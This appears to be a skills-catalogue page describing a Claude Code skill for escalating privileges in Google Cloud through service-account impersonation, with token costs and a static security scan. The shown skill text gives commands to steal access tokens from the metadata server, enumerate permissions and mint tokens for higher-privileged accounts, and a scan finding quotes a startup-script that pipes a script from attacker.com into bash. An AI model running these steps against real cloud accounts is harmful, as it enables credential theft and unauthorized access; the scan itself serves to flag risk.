gcp-svc-account-impersonation

gcp-svc-account-impersonation is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 64 tokens per session (1,370 once invoked), scanned E, a copy of gcp-svc-account-impersonation, Apache-2.0.

A guide to finding privilege-escalation paths in Google Cloud Platform (GCP) through service-account impersonation. A service account is a non-human identity used by cloud workloads, and impersonation lets one identity act as another.

In plain words
What is it for?
Use it to obtain or inspect tokens, list accessible projects and service accounts, test IAM permissions, and trace impersonation through Cloud Functions, Cloud Run, or Compute Engine.
Why use it?
It helps identify how a lower-privileged identity could reach a more privileged service account through permissions such as Token Creator or actAs. It assumes you already have a GCP token, service-account key, or similar access.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to obtain or inspect tokens, list accessible projects and service accounts, test IAM permissions, and trace impersonation through Cloud Functions, Cloud Run, or Compute Engine.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/gcp-svc-account-impersonation
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill gcp-svc-account-impersonation
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for gcp-svc-account-impersonation

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/gcp-svc-account-impersonation/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/gcp-svc-account-impersonation)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/gcp-svc-account-impersonation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/gcp-svc-account-impersonation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for gcp-svc-account-impersonation

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/gcp-svc-account-impersonation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/gcp-svc-account-impersonation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 64 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,370 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 4 findings. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review Sonnet 5 · 7 Sept 2026 📄 Read the review
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00064 $0.01370
Opus 5 $0.00032 $0.00685
Sonnet 5 $0.00013 $0.00274
Haiku 4.5 $0.00006 $0.00137

Measured 12d ago against content hash d2170ef1a5d2, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade E, and why

gcp-svc-account-impersonation scanned grade E with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

--metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

TOKEN=$(curl -s -H "Metadata-Flavor: Google" \

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
Origin

This is a copy

100% identical to gcp-svc-account-impersonation — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md · 134 lines

How it starts

The opening of the file, as written. The whole thing — 134 lines — stays where its author put it; the contents beside it link to each section on GitHub.

GCP Service Account Impersonation

You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.

Steal the token

From GCE / GKE / Cloud Run / Functions

TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r .access_token)

# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"

From a leaked key.json

gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)

Phase 1: Enumerate current permissions

# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'

# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
  --permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')

# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'

Phase 2: Impersonation primitives

roles/iam.serviceAccountTokenCreator

If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:

gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/[email protected]:generateAccessToken" \
  | jq -r .accessToken

Read the full file on GitHub · 134 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 134 lines · 64 tokens per session scan F d2170ef1a5d2

Subscribe to this mod's changes

gcp-svc-account-impersonation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 64 tokens to every session and 1,370 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it E with 4 findings (downloads and executes remote code, cloud metadata endpoint, makes network calls). It is 100% identical to gcp-svc-account-impersonation, differing in 0 lines, and is treated as a copy.